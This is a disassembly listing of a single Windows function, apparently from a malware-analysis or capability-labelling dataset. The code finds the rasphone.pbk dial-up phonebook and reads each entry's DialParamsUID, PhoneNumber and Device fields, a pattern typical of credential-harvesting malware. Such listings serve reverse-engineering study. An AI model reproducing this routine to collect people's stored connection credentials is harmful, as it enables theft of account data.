Function at 0x402e40
Capabilities:
Check os version
Get common file path
Read .ini file

Disassembly:
sub esp, 0x7c0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0xc0]
push 0x105
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0xc4]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0xc0]
push edx
push eax
call edi
lea ecx, [esp + 0xc0]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call edi
push 0
lea edx, [esp + 0x2cc]
push 0x23
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x2c8]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x2d0]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x2c]
lea edx, [esp + 0xc0]
lea eax, [esp + 0x2c8]
push ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x3c]
mov edi, 2
cmp eax, edi
jne 0x402f1d
cmp dword [esp + 0x30], 5
jb 0x402f1d
mov ecx, esi
call fcn.00402d60
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
lea edx, [esp + 0x28]
add esp, 4
mov dword [esp + 0x20], ebp
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], edi
mov ecx, 0x400
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
push eax
push 0x1000
push ebp
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
cmp byte [ebp], 0
je 0x403112
push ebp
mov ecx, esi
call fcn.004035b0
mov dword [esp + 0x14], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1c8]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x4d0]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x5d0]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x3d0]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x6d0]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x1c8]
push ecx
push 0x100
push edx
push eax
push str.DialParamsUID
push ebp
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x40305e
mov eax, dword [esi + 0x10]
xor ebx, ebx
test eax, eax
jle 0x40305e
xor edi, edi
mov edx, dword [esi + 0x1c]
mov eax, edi
add eax, edx
lea ecx, [esp + 0x1c8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x403014
mov eax, dword [esi + 0x10]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x402fea
jmp 0x40305e
mov edx, dword [esi + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x4d0]
lea eax, [edi + edx + 0x200]
push eax
push ecx
call ebx
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x5d0]
lea eax, [edi + edx + 0x100]
push eax
push ecx
call ebx
mov edx, dword [esi + 0x1c]
mov byte [edi + edx + 0x300], 1
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
mov edi, dword [esp + 0x1c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edi
lea eax, [esp + 0x3d4]
push 0x100
push eax
push 0
push str.PhoneNumber
push ebp
call ebx
push edi
lea ecx, [esp + 0x6d4]
push 0x100
push ecx
push 0
push str.Device
push ebp
call ebx
lea edx, [esp + 0x6d0]
mov ecx, esi
push edx
call fcn.004035b0
mov edi, eax
lea eax, [esp + 0x4d0]
push eax
mov ecx, esi
call fcn.004035b0
lea ecx, [esp + 0x3d0]
push edi
lea edx, [esp + 0x5d4]
mov ebx, eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push ebx
lea ecx, [esp + 0x1d8]
push eax
push ecx
mov ecx, esi
call fcn.00403150
mov edx, dword [esp + 0x14]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x402f68
mov ebp, dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
add ecx, 4
dec eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
jne 0x402f3c
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c0
ret